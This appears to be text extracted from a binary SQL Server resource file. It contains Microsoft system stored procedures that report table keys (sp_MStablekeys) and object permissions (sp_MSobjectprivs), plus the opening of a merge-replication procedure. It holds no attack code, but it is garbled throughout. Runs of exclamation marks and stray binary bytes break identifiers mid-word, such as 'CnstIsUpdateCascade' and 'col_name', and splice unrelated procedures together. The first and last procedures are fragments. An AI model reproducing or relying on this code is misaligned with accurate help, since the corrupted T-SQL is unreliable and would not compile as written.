				select distinct id, constid, 0 from dbo.sysconstraints where status & 0x0f in (3)

			/* All user tables are foreign-key candidate tables, so add any tables we haven't yet, if @doall. */
			/* (This would be used for 'push' key definition; defining FK's from the standpoint of the PK table). */
			insert #sprefs
				select distinct id, null, 0 from dbo.sysobjects where OBJECTPROPERTY(id, N'IsUserTable') = 1
					and @doall = 1 and id not in (select id from #sprefs)

			/* Update the referenced!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(,
0vn
create procedure sys.sp_MStablekeys
@tablename nvarchar(776) = null, @colname nvarchar(258) = null, @type int = null, @keyname nvarchar(517) = null, @flags int = null
as



	create table #tempID
	   (
      cName nvarchar(132) COLLATE database_default NOT NULL,      /* Index name */
      cPK1  int, cPK2  int, cPK3  int, cPK4  int, cPK5  int, cPK6  int, cPK7  int, cPK8  int,
      cPK9  int, cPK10 int, cPK11 int, cPK12 int, cPK13 int, cPK14 int, cPK15 int, cPK16 int    /* 1 if DESC  */
      )

   create table #tempID2
      (
      cPKName  nvarchar(132) COLLATE database_default NOT NULL,      /* PK name */
      cPK      int                                   /* Combined info for PK */
      )

	create table #spkeys
	(
		cType          tinyint NOT NULL, /* key Type */
		cName          nvarchar(258) COLLATE database_default NOT NULL, /* key Name */
		cFlags         int  NULL,  /* e.g., 1 = clustered for PK/Unique */
		cColCount      int  NULL,  /* number of columns (or column pairs) in the key */
		cFillFactor    tinyint NULL, /* Fill factor of index creation */
		cRefTable      nvarchar(520) COLLATE database_default NULL,		/* owner-qual Referenced table name for FKs */
		cRefKey        nvarchar(260)  COLLATE database_default NULL,		/* name of referenced key in referenced table */
			-- Note:  cConstID replaces the column list used in 6.0, for speed.
			-- The output set MUST replace this with either index_col(@tablename, cIndexID, 1-16) and NULL * 16
			-- (for PK/UQ) UNION col_name(r.fkeyid, r.fkey1-16) and col_name(r.rkeyid, r.rkey1-16), for SQLDMO,
			-- and these MUST BE nvarchar(132) for alignment in the SQLDMO cache structure!
		cConstID       int  NULL, /* Reference constraint ID, if Foreign Key  */
		cIndexID       int  NULL, /* ID of this key's index, if PK/UQ */
		cGroupName     sysname COLLATE database_default  NULL,  /* FileGroup name of this key, if PK/UQ */
		cDisabled      int  NULL,  /* 0 if enabled, 1 if disabled */
		cPrimaryFG     int  NULL,  /* 1 if primary FG, 0 otherwise */
      cDeleteCascade int  NULL,    /* 1 if it is a foreign key constraint with a cascade delete */
      cUpdateCascade int  NULL     /* 1 if it is a foreign key constraint with a cascade update */
	)

	/* This proc returns the table's DRI keys.  @type is the type(s) of key(s) to return. */
	/* Make sure @type is only the key types (DRI_PRIMARYKEY, DRI_UNIQUE, DRI_REFERENCE). */
	if (@type is null)
		select @type = 0x000e
	else
		select @type = @type & 0x000e

	/* Flags usage:  For daVinci, to pass call thru to sp_MStablerefs. */
	if (@flags is null)
		select @flags = 0

	set nocount on
	declare @cType int, @cName nvarchar(258), @cFlags int, @cRefTable nvarchar(520), @fillfactor tinyint
	declare @objid int, @constid int, @indid int, @keycnt int, @q1 nvarchar(2000), @q2 nvarchar(2000), @objtype int, @groupname sysname
	declare @cDisabled int, @PrimaryFG int, @cDeleteCascade int, @cUpdateCascade int

	/* First see if @keyname was defined, and override @tablename and @type if so. */
	if (@keyname is not null)
	begin
         select @objid = id, @type = power(2, status & 0x0f) from dbo.sysconstraints where constid = object_id(@keyname)
         if (@objid is null)	begin
            RAISERROR (15001, -1, -1, @keyname)
            return 1
         end
         /* Now get the tablename for the index_col below */
         select @tablename = N'[' + REPLACE(schema_name(syso.schema_id), N']', N']]') + N']' + N'.' + N'[' + REPLACE(syso.name, N']', N']]') + N']' from sys.all_objects syso where syso.object_id = @objid
	end else begin
		/* Want all keys for this table (of @type type). */
		select @objid = id, @objtype = (case when OBJECTPROPERTY(id, N'IsTable') = 1 then 1 else 0 end)
			from dbo.sysobjects where id = object_id(@tablename)
		if (@objid is null)	begin
			RAISERROR (15001, -1, -1, @tablename)
			return 1
		end
		if (@objtype <> 1)	begin
			RAISERROR (15218, -1, -1, @tablename)
			return 1
		end
		if @colname is not null and not exists (select * from dbo.syscolumns where id = @objid and name = @colname) begin
			RAISERROR (14305, -1, -1, @colname, @tablename)
			return 1
		end

		/* Skip cursor opening if we don't have any keys (of the type wanted); return a set anyway, for the cache. */
		if (((@type & power(2, 1)) = 0 or objectproperty(@objid, 'TableHasPrimaryKey') = 0) and
			((@type & power(2, 2)) = 0 or objectproperty(@objid, 'TableHasUniqueCnst') = 0) and
			((@type & power(2, 3)) = 0 or objectproperty(@objid, 'TableHasForeignKey') = 0))
			goto ReturnSet
	end

	/* Preprocessor won't replace within quotes so have to use str(). */
	declare @sysgenname nvarchar(12), @pkstr nvarchar(12), @uqstr nvarchar(12), @fkstr nvarchar(12), @objtypebits nvarchar(12)
	select @sysgenname = ltrim(str(convert(int, 0x00020000)))
	select @pkstr = ltrim(str(convert(int, 1)))
	select @uqstr = ltrim(str(convert(int, 2)))
	select @fkstr = ltrim(str(convert(int, 3)))
	select @objtypebits = ltrim(str(convert(int, 0x0f)))

	/* Other ints we need strings for */
	declare @objidstr nvarchar(12), @typestr nvarchar(12)
	select @objidstr = ltrim(str(@objid))
	select @typestr = ltrim(str(@type))

	/* Qualifying key name. Size buffer = 517 (keyname)+ 517 (for escaping) + 100 (misc string)*/
	declare @qualkeyname nvarchar(1134)
	select @qualkeyname = null
	if (@keyname is not null) begin
      select @qualkeyname = N' and constid = object_id(''' + REPLACE(@keyname, '''', '''''') + N''')'
   end

	/*********************/
	/* Main cursor loop. */
	/*********************/
/*	exec(N'declare hC insensitive cursor for select constid, status & ' + @objtypebits + N', status & ' + @sysgenname + */
	exec(N'declare hC cursor global for select constid, status & ' + @objtypebits + N', status & ' + @sysgenname +
			N' from dbo.sysconstraints where id = ' + @objidstr + N' and (' + @typestr + N' & power(2, status & 0x0f) != 0) ' + @qualkeyname)
	open hC
	fetch hC into @constid, @cType, @cFlags
	while (@@fetch_status >= 0) begin
		if (object_name(@constid) is null) begin
			RAISERROR(55555, 16, 1); -- N'Assert failed:  object_name(@constid) is null in sp_MStablekeys (pk/uq)'
			return 1
		end

		/* DRI_PRIMARYKEY, DRI_UNIQUE */
		if (@cType in (1, 2)) begin
			/* Get the index id enforcing this constraint. */
			select @indid = i.indid, @cName = o.name, @fillfactor = i.OrigFillFactor,
					@cFlags = @cFlags | (case indid when 1 then 0x00000001 else 0 end),		/* test for clustered index */
               /* clustered index keys are part of non-clustered index key list, which cause incorrect sysindexes.keycnt */
					@keycnt = case indid when 1 then keycnt else (select count(x.id) from dbo.sysindexkeys x where i.indid = x.indid and x.id = @objid) end,
               @groupname = f.groupname,
               @PrimaryFG = FILEGROUPPROPERTY( f.groupname, N'IsPrimaryFG' )
				from dbo.sysindexes i, dbo.sysobjects o, dbo.sysfilegroups f
            /* Use '=' instead of 'LIKE' in comparision, so we can handle wide card character correctly */
				where o.id = @constid and i.name = o.name and i.status & 0x1800 <> 0 and i.groupid = f.groupid
			if (@indid is null) begin
				RAISERROR(77777, 16, 1); -- N'Assert failed:  @indid is null in sp_MStablekeys (pk/uq)'
				return 1
			end

			insert #spkeys values (@cType, @cName, @cFlags, @keycnt, @fillfactor, null, null, null, @indid, @groupname, 0, @PrimaryFG, 0, 0)
		end

		/* DRI_REFERENCE */
		else if (@cType in (3)) begin
			/* Get the key column information from sysreferences. */
         select @keycnt = r.keycnt, @cName = object_name(r.constid), @cRefTable = N'[' + schema_name(syso.schema_id) + N']' + N'.' + N'[' + o.name + N']',
               @cDisabled = OBJECTPROPERTY( r.constid, N'CnstIsDisabled' ),
               @cDeleteCascade = OBJECTPROPERTY( r.constid, N'CnstIsDeleteCascade'),
               @cUpdateCascade = OBJECTPROPERTY( r.constid, N'Cnst!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-
0{mvnIsUpdateCascade')
            from dbo.sysreferences r, dbo.sysobjects o, sys.all_objects syso where r.constid = @constid and o.id = r.rkeyid and o.id = syso.object_id

			/* Follow r.rkeyindid back to sysindexes to get the ref key name. */
			declare @cRefKey nvarchar(132)
			select @cRefKey = i.name, @cFlags = c.status from dbo.sysreferences r, dbo.sysindexes i, dbo.sysconstraints c
				where c.constid = r.constid and r.constid = @constid
				and i.id = r.rkeyid and i.indid = r.rkeyindid and i.status & 0x1800 <> 0

			/* Load our temp table. */
			insert #spkeys values (@cType, @cName, @cFlags, @keycnt, null, @cRefTable, @cRefKey, @constid, null, null, @cDisabled, 0, @cDeleteCascade, @cUpdateCascade)
		end		/* Key type */

		/* Get the next row. */
		fetch hC into @constid, @cType, @cFlags
	end			/* PRIMARY/UNIQUE */
	deallocate hC

   /* Work on the descending information */
   set nocount on
   insert #tempID
      select cName,
      indexkey_property(object_id(@tablename), cIndexID, 1, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 2, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 3, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 4, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 5, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 6, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 7, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 8, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 9, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 10, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 11, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 12, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 13, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 14, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 15, N'isdescending'),
      indexkey_property(object_id(@tablename), cIndexID, 16, N'isdescending')
      from #spkeys
		order by cType, cName

   /* Construct the bit */
   declare @idx int
   declare @Name nvarchar(132)
   declare @Inx_1 int, @Inx_2 int, @Inx_3 int, @Inx_4 int, @Inx_5 int, @Inx_6 int, @Inx_7 int, @Inx_8 int
   declare @Inx_9 int, @Inx_10 int, @Inx_11 int, @Inx_12 int, @Inx_13 int, @Inx_14 int, @Inx_15 int, @Inx_16 int

   declare hCur cursor global for select * from #tempID
   open hCur
   fetch next from hCur into @Name, @Inx_1, @Inx_2, @Inx_3, @Inx_4, @Inx_5, @Inx_6, @Inx_7, @Inx_8,
                             @Inx_9, @Inx_10, @Inx_11, @Inx_12, @Inx_13, @Inx_14, @Inx_15, @Inx_16
   while (@@FETCH_STATUS = 0)
      begin
      select @idx = 0x0000
      select @idx = (case when (@Inx_1 = 1) then @idx | 0x0001 else @idx end), @idx = (case when (@Inx_2 = 1) then @idx | 0x0002 else @idx end), @idx = (case when (@Inx_3 = 1) then @idx | 0x0004 else @idx end), @idx = (case when (@Inx_4 = 1) then @idx | 0x0008 else @idx end), @idx = (case when (@Inx_5 = 1) then @idx | 0x0010 else @idx end), @idx = (case when (@Inx_6 = 1) then @idx | 0x0020 else @idx end), @idx = (case when (@Inx_7 = 1) then @idx | 0x0040 else @idx end), @idx = (case when (@Inx_8 = 1) then @idx | 0x0080 else @idx end),
             @idx = (case when (@Inx_9 = 1) then @idx | 0x0100 else @idx end), @idx = (case when (@Inx_10 = 1) then @idx | 0x0200 else @idx end), @idx = (case when (@Inx_11 = 1) then @idx | 0x0400 else @idx end), @idx = (case when (@Inx_12 = 1) then @idx | 0x0800 else @idx end), @idx = (case when (@Inx_13 = 1) then @idx | 0x1000 else @idx end), @idx = (case when (@Inx_14 = 1) then @idx | 0x2000 else @idx end), @idx = (case when (@Inx_15 = 1) then @idx | 0x4000 else @idx end), @idx = (case when (@Inx_16 = 1) then @idx | 0x8000 else @idx end)
      insert #tempID2 select @Name, @idx

      fetch next from hCur into @Name, @Inx_1, @Inx_2, @Inx_3, @Inx_4, @Inx_5, @Inx_6, @Inx_7, @Inx_8,
                                @Inx_9, @Inx_10, @Inx_11, @Inx_12, @Inx_13, @Inx_14, @Inx_15, @Inx_16
      end
   close hCur
   deallocate hCur
   set nocount off


	/* Now output the data */
ReturnSet:
	set nocount off
	select cType, cName, cFlags, cColCount, cFillFactor, cRefTable, cRefKey,
			cKeyCol1 = convert(nvarchar(132), index_col(@tablename, cIndexID, 1)),
			cKeyCol2 = convert(nvarchar(132), index_col(@tablename, cIndexID, 2)),	
			cKeyCol3 = convert(nvarchar(132), index_col(@tablename, cIndexID, 3)),
			cKeyCol4 = convert(nvarchar(132), index_col(@tablename, cIndexID, 4)),
			cKeyCol5 = convert(nvarchar(132), index_col(@tablename, cIndexID, 5)),
			cKeyCol6 = convert(nvarchar(132), index_col(@tablename, cIndexID, 6)),	
			cKeyCol7 = convert(nvarchar(132), index_col(@tablename, cIndexID, 7)),
			cKeyCol8 = convert(nvarchar(132), index_col(@tablename, cIndexID, 8)),
			cKeyCol9 = convert(nvarchar(132), index_col(@tablename, cIndexID, 9)),
			cKeyCol10 = convert(nvarchar(132), index_col(@tablename, cIndexID, 10)),
			cKeyCol11 = convert(nvarchar(132), index_col(@tablename, cIndexID, 11)),
			cKeyCol12 = convert(nvarchar(132), index_col(@tablename, cIndexID, 12)),
			cKeyCol13 = convert(nvarchar(132), index_col(@tablename, cIndexID, 13)),
			cKeyCol14 = convert(nvarchar(132), index_col(@tablename, cIndexID, 14)),	
			cKeyCol15 = convert(nvarchar(132), index_col(@tablename, cIndexID, 15)),
			cKeyCol16 = convert(nvarchar(132), index_col(@tablename, cIndexID, 16)),
			cRefCol1 = convert(nvarchar(132), null),
			cRefCol2 = convert(nvarchar(132), null),
			cRefCol3 = convert(nvarchar(132), null),
			cRefCol4 = convert(nvarchar(132), null),
			cRefCol5 = convert(nvarchar(132), null),
			cRefCol6 = convert(nvarchar(132), null),
			cRefCol7 = convert(nvarchar(132), null),
			cRefCol8 = convert(nvarchar(132), null),
			cRefCol9 = convert(nvarchar(132), null),
			cRefCol10 = convert(nvarchar(132), null),
			cRefCol11 = convert(nvarchar(132), null),
			cRefCol12 = convert(nvarchar(132), null),
			cRefCol13 = convert(nvarchar(132), null),
			cRefCol14 = convert(nvarchar(132), null),
			cRefCol15 = convert(nvarchar(132), null),
			cRefCol16 = convert(nvarchar(132), null),
			cIndexID,
			cGroupName,
         cDisabled,
	      cPrimaryFG,
         cDeleteCascade,
         cUpdateCascade,
         Descending = t.cPK
		from #spkeys, #tempID2 t where cType in (1, 2)
         and cName = t.cPKName
			and (@colname is null or
				index_col(@tablename, cIndexID, 1) = @colname or
				index_col(@tablename, cIndexID, 2) = @colname or
				index_col(@tablename, cIndexID, 3) = @colname or
				index_col(@tablename, cIndexID, 4) = @colname or
				index_col(@tablename, cIndexID, 5) = @colname or
				index_col(@tablename, cIndexID, 6) = @colname or
				index_col(@tablename, cIndexID, 7) = @colname or
				index_col(@tablename, cIndexID, 8) = @colname or
				index_col(@tablename, cIndexID, 9) = @colname or
				index_col(@tablename, cIndexID, 10) = @colname or
				index_col(@tablename, cIndexID, 11) = @colname or
				index_col(@tablename, cIndexID, 12) = @colname or
				index_col(@tablename, cIndexID, 13) = @colname or
				index_col(@tablename, cIndexID, 14) = @colname or
				index_col(@tablename, cIndexID, 15) = @colname or
				index_col(@tablename, cIndexID, 16) = @colname
			)
		UNION
		select c.cType, c.cName, c.cFlags, c.cColCount, c.cFillFactor, c.cRefTable, c.cRefKey,
			cKeyCol1 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey1)),
			cKeyCol2 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey2)),
			cKeyCol3 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey3)),
			cKeyCol4 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey4)),
			cKeyCol5 = convert(nvarchar(132), col_name(r.fkeyid, r.fkey5)),
			cKeyCol6 = convert(nvarchar(132), col_n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(.
O1=+v?9
create proc sys.sp_MSobjectprivs
	@objname nvarchar(776) = null,
	@mode nvarchar(10) = N'object',	
	@objid int = null,				
	@srvpriv int = null,			
	@prottype int = null,			
	@grantee nvarchar(258) = null,		
   @flags int = 0,
   @rollup int = 0
as

	create table #objs(
		id  int NOT NULL
	)

	/* Temp table will hold output for final select */
	create table #output (
		action      int  NOT NULL,
		colid       int  NULL,
		uid         int  NOT NULL,
		protecttype int  NOT NULL,
		id          int  NOT NULL,
		grantor     int
	)

	create table #tmp(
		action   int   NOT NULL,
		uid      int   NOT NULL,
		protecttype int  NOT NULL,
	)

   /* mode    : 'object', 'user' or 'column'*/
   /*
    * Note:  This was expanded for 6.5 due to changes in sysprotects.columns usage, affecting
    * CPermission::ListPrivilegeColumns.  The following additional parameters are for this.
    */
   /* objid   : ID of the object we're querying */
   /* srvpriv : privilege that we're querying for (e.g. select) */
   /* prottype: Protect type, e.g. GRANT/REVOKE */
   /* grantee : Grantee name. */

   /*** @flags added for DaVinci uses.  If the bit isn't set, use 6.5 ***/
   /*** sp_MSobjectprivs '%s'                                         ***/

   /* 8.0: mode 'column', and grantee != null, we want user column level permissions for CTable/CView::ListUserColumnPermissions */
   /*      @rollup added to indicate special rollup result set for column level permission, set to 1 to roll up */

	/* @flags is for daVinci */
	if (@flags is null)
		select @flags = 0

	/* If @objid is not null, this is for the new query for perm cols. */
	if (@objid is not null) begin
		select schema_name(syso.schema_id), syso.name, a = col_name(p.id, a.number), a.low, a.high, a.number
			from master.dbo.spt_values a, dbo.sysprotects p, sys.all_objects syso
			where p.id = @objid and p.action = @srvpriv and p.protecttype = @prottype
			and p.uid = user_id(@grantee)
			and p.columns != 0x01 and syso.object_id = p.id
				and convert(tinyint, substring(isnull(p.columns, 0x01), a.low, 1)) &
					-- 6.5 changed so that the bit 0 position is an "invert the bits" indicator:
					--		when 0, behaviour is the same as in prior versions, and other bits
					--			indicate columns with the specified privilege
					--		when 1, the other bits are indicate columns lacking the specified privilege
					a.high <> (case when (substring(isnull(p.columns, 0x00), 1, 1) & 1 = 0) then 0 else a.high end)
					and col_name(p.id, a.number) is not null
					and a.type = N'P' and a.number <= (select count(*) from dbo.syscolumns where id = @objid) order by a
		return 0
	end

	set nocount on

	/*
	 * To get around a 4.21 subquery bug where returning count(*) of 0 (for proc cols)
	 * causes the result set to return no rows, we need two passes; one to get the
	 * objects, and another to explicitly use a value (@cols) instead of a subquery.
	 */
	declare @id int, @uid int, @cols int
	select @id = null, @uid = null
	if (@mode like N'us%') begin
	   select @uid = user_id(@objname)
   end else if (@mode like N'col%') and (@objname is null) and (@grantee is not null) begin
      /* 8.0, special path to get column level permissions from all objects on the specified user */
      select @uid = user_id(@grantee)
	end else begin
      select @id = object_id(@objname)
   end
	if (@id is null and @uid is null) begin
		RAISERROR (15001, -1, -1, @objname)
		return 1
	end

	/* Get a temp list of objects we're interested in.  Do not include repl_* users. */
   /* This is the original code */
   insert #objs select distinct p.id from dbo.sysprotects p
	   where (@id is null or p.id = @id)
  		and (@uid is null or p.uid = @uid)
   	and p.action in (193, 195, 196, 197, 224, 26) and p.uid not in (16382, 16383)

	/* Use a "fake cursor" by deleting successive id's from #objs, as this must run on 4.21 */
	select @id = min(id) from #objs
	while (@id is not null) begin
		select @cols = count(*) from dbo.syscolumns c where c.id = @id
      /* sysprotects.columns is for SELECT and UPDATE, NULL if it is INSERT or DELETE, since INSERT and DELETE can not be applied to column level */
      insert #output select p.action, (case when p.columns is null then -1 else a.number end), p.uid, p.protecttype, p.id, p.grantor
         from master.dbo.spt_values a, dbo.sysprotects p
         where convert(tinyint, substring( isnull(p.columns, 0x01), a.low, 1)) & a.high !=0
         and (p.id = @id)
         and (@uid is null or p.uid = @uid)
         and a.number <= @cols
         and a.type = N'P'

      declare @count int, @whataction int, @whatid int, @dup int, @whatprot int

      /* First pass to correct duplicates */
      select @count = count(*) from #output where id = @id and colid in (0, -1) and protecttype in (205, 204)
      if ( @count > 0 ) begin
         /* We might have duplicate rows for permission on single coulmn(s) at this point */
         /* Use a fake cursor to remove the duplicates first. */
         insert #tmp select action, uid, protecttype from #output where id = @id and colid in (0, -1) and protecttype in (205, 204)
         select @whataction = min(action) from #tmp
         select @whatid = uid from #tmp where action = @whataction
         while (@whataction is not null) begin
            if (@mode like N'col%') and (@objname is null) and (@grantee is not null) begin
               /* Special case for column level permissions on ALL objects for the specified user, we don't want the row(s) on the entire table */
               /* and we don't want the possible duplicate rows in single column(s) */
               delete #output where (@whatid = uid) and (colid not in (0, -1)) and (protecttype in (205, 204)) and action = @whataction
                      and (exists (select * from #output where (@whatid = uid) and (colid in (0, -1)) and action = @whataction) and (id = @id))
               delete #output where (@whatid = uid) and (colid in (0, -1)) and (action = @whataction) and (id = @id)
            end else if (@mode like N'use%') and (@objname is not null) begin
               /* Special case for the user mode, we do want to keep the entire table permissions */
               delete #output where (@whatid = uid) and (colid not in (0, -1)) and (protecttype in (205, 204)) and action = @whataction and (id = @id)
            end else begin
               /* Other cases */
               delete #output where (@whatid = uid) and (colid not in (0, -1)) and (protecttype in (205, 204)) and action = @whataction
            end

            delete #tmp where @whatid = uid
            select @whataction = min(action) from #tmp
            select @whatid = uid from #tmp where action = @whataction
         end
         delete #tmp
      end

      /* Second pass to correct protect type */
      select @count = count(*) from #output where id = @id and colid in (0, -1)
      if ( @count > 0 ) begin
         /* use another fake cursor to correct the protecttype */
         /* if there are multiple rows in #output for the same id and action, and if colid = 0 exist */
         /* then other rows should have different protecttype from the one in colid = 0 row */
         insert #tmp select action, uid, protecttype from #output where id = @id and colid in (0, -1)
         select @whataction = min(action) from #tmp
         select @whatid = uid from #tmp where action = @whataction
         select @whatprot = protecttype from #tmp where uid = @whatid and action = @whataction
         while (@whataction is not null) begin
               delete #output where id = @id and colid not in (0, -1) and @whataction = action and @whatid = uid and @whatprot = protecttype
               delete #tmp where action = @whataction and @whatid = uid
               select @whataction = min(action) from #tmp
               select @whatid = uid from #tmp where action = @wh!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	p/
O12z?9ataction
               select @whatprot = protecttype from #tmp where uid = @whatid and action = @whataction
         end
         delete #tmp
      end

		/* Increment our "fake cursor" column and get the next one. */
		delete #objs where id = @id
		select @id = min(id) from #objs
	end

	/*
	 * Organize so that the non-collist privileges are returned first.. this allows
	 * scripting to combine them.  sysprotects.action is tinyint, so the hibyte won't conflict.
	 */

	update #output set action = action | 0x10000000 where colid <> 0

	/*
	 *  BUG 235637  
	 *  Delete the columns that was droped
	 */
	delete from #output where colid not in (0, -1) and col_name(id, colid) is null

	/*
	 * Order output by uid so Public will script before other groups (we need to script privs for public before
	 * other groups, before users; otherwise sysprotects doesn't hold onto things right).  Sub-order is by object id
	 * so we know when we're done with one object and onto the next, then by protecttype to group all GRANTs and
	 * REVOKEs together, and lastly by action (including ORDER_ACTION_BIT so scripting can be more efficient)
	 * because we may have multiple rows for columns.
	 */

	set nocount off
   if (@mode not like N'col%') begin
      /* Mode is not 'column', do the regular stuff */
      /*SQLDMO90OK - grantor can be only a user and the use of user_name is safe here*/
	   select p.action & ~convert(int, 0x10000000), N'column' = col_name(p.id, p.colid), p.uid, N'username' = user_name(p.uid),/*SQLDMO90OK*/
		       p.protecttype, o.name, N'owner' = schema_name(syso.schema_id), p.id, N'grantor' = user_name(p.grantor) /*SQLDMO90OK*/
             from #output p, dbo.sysobjects o, sys.all_objects syso
             where o.id = p.id and o.id = syso.object_id
             order by p.uid, p.id, p.protecttype, p.action
   end else
   /* Below are spcial cases for column level permissions */
   if (@objname is null) and (@grantee is not null) and (@rollup = 0) begin
      /* 8.0, special path to get column level permissions from all objects on the specified user */
      select N'ObjectName' = o.name, N'Owner' = schema_name(syso.schema_id), N'ColumnName' = col_name(p.id, p.colid), o.sysstat & 0x0f, p.id,
             p.action & ~convert(int, 0x10000000), p.protecttype
             from #output p, dbo.sysobjects o, sys.all_objects syso
             where p.id = o.id and o.id = syso.object_id and p.uid = user_id(@grantee) and col_name(p.id, p.colid) is not null
             order by p.uid, p.id, p.protecttype, p.action
	end else if (@objname is not null) and (@grantee is not null) and (@rollup = 0) begin
      /* 8.0, mode 'column', and grantee != null, we want column level permissions on this object for this user */
      select N'column' = col_name(p.id, p.colid), N'owner' = schema_name(syso.schema_id), N'username' = user_name(p.uid), o.sysstat & 0x0f, p.id, /*SQLDMO90OK*/
             p.action & ~convert(int, 0x10000000), p.protecttype
             from #output p, dbo.sysobjects o, sys.all_objects syso
             where o.id = p.id and o.id = syso.object_id and p.uid = user_id(@grantee) and col_name(p.id, p.colid) is not null
             order by p.uid, p.id, p.protecttype, p.action
   end else if (@objname is not null) and (@grantee is null) and (@rollup = 0) begin
      /* 8.0, mode 'column', and grantee = null, we want column level permissions on this object for all users */
      select N'column' = col_name(p.id, p.colid), N'owner' = schema_name(syso.schema_id), N'username' = user_name(p.uid), o.sysstat & 0x0f, p.id, /*SQLDMO90OK*/
             p.action & ~convert(int, 0x10000000), p.protecttype
             from #output p, dbo.sysobjects o, sys.all_objects syso
             where o.id = p.id and o.id = syso.object_id and col_name(p.id, p.colid) is not null
             order by p.uid, p.id, p.protecttype, p.action
   end else if (@objname is null) and (@grantee is not null) and (@rollup <> 0) begin
      /* 8.0, roll up version of the special path to get column level permissions from all objects on the specified user */
      select distinct N'ObjectName' = o.name, N'owner' = schema_name(syso.schema_id),
             N'Select' = (case when ((p.action & ~convert(int, 0x10000000))=193) then 1 else 0 end),
             N'Update' = (case when ((p.action & ~convert(int, 0x10000000))=197) then 1 else 0 end),
             N'Type' = p.protecttype
             from #output p, dbo.sysobjects o, sys.all_objects syso
             where p.id = o.id and o.id = syso.object_id and p.uid = user_id(@grantee) and col_name(p.id, p.colid) is not null
             order by o.name
   end else if (@objname is not null) and (@grantee is null) and (@rollup <> 0) begin
      /* 8.0, roll up version of the special path to return column level permissions on this object for all users */
      select distinct N'UserName' = user_name(p.uid), /*SQLDMO90OK*/
             N'Select' = (case when ((p.action & ~convert(int, 0x10000000))=193) then 1 else 0 end),
             N'Update' = (case when ((p.action & ~convert(int, 0x10000000))=197) then 1 else 0 end),
             N'Type' = p.protecttype
             from #output p, dbo.sysobjects o
             where o.id = p.id and col_name(p.id, p.colid) is not null
             order by user_name(p.uid)/*SQLDMO90OK*/
   end else begin
	/* localize message without changing message number */
   	declare @errtxt nvarchar(1024)
	select @errtxt=text from sys.messages where message_id=29003
	RAISERROR(55555, 16, 1); -- @errtxt
		return 1
   end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`%<	?0
51򵮧0g 	8create procedure sys.sp_MShelpmergeidentity 
    @publication sysname
as
    declare @pubid                  uniqueidentifier
    declare @artid                  uniqueidentifier
    declare @nickname               int
    declare @next_seed              bigint
    declare @retcode                int
    declare @tablename              sysname
    declare @range                  bigint
    declare @threshold              int
    declare @db_name                sysname
    declare @tmp_table TABLE (tablename sysname, next_seed bigint, range bigint, threshold int, nickname int)
